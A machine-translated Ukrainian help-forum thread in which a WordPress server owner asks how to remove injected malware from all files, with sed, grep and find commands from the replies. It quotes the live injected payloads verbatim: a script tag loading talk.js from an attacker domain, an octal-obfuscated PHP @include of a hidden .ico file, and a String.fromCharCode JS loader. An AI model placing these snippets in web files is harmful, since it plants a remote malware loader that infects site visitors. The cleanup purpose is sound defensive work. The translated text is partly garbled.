Таким чином, весь мій сервер зламали або виникли проблеми із шкідливим програмним забезпеченням. мій сайт базується на WordPress, а більшість сайтів, розміщених на моєму сервері, засновані на WordPress. Хакер додав цей рядок коду до кожного файлу та в базі даних
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Я шукав його за допомогою grep, використовуючи
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Я намагаюся замінити його у всій структурі файлів, sed
і я написав таку команду.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Я index.php
спершу намагаюся замінити рядок на одному файлі , тому я знаю, що він працює.
і я знаю, що мій код неправильний. Будь ласка, допоможіть мені в цьому.
Я спробував з кодом @ Eran, і він видалив весь рядок, що добре і як очікувалося. Однак загальний жаргон такий
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
І хоча я хочу видалити весь вміст, я хочу зберегти тег відкриття php <?php
.
Хоча рішення @ slybloty легко і воно спрацювало.
щоб видалити код повністю з усіх файлів, на які постраждали. Я виконую наступні 3 команди, дякую всім вам за це.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Щоб видалити рядок сценаріюfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Щоб видалити@include
рядокfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Щоб видалити рядок коментарів
Також я знову запустив усі 3 команди '*.html'
, оскільки сценарій хакера створив небажаний index.html у всіх каталогах. Я не був впевнений, чи правильне видалення цих index.html - це правильний підхід.
тепер мені ще потрібно з’ясувати непотрібні файли та їх сліди.
Сценарій хакера також додав код JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Спробую зрозуміти, чи можу я sed
це також.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
. Наприклад, sed -i.bak
створить *.bak
файл для всіх файлів, які редагуються. Використовуючи while...grep
цикл, ви створюватимете резервну копію лише файлів, що містили цей рядок. Вибачте за всі додаткові коментарі, але, на мою думку, зловмисне програмне забезпечення - це сценарій "всі руки на палубу".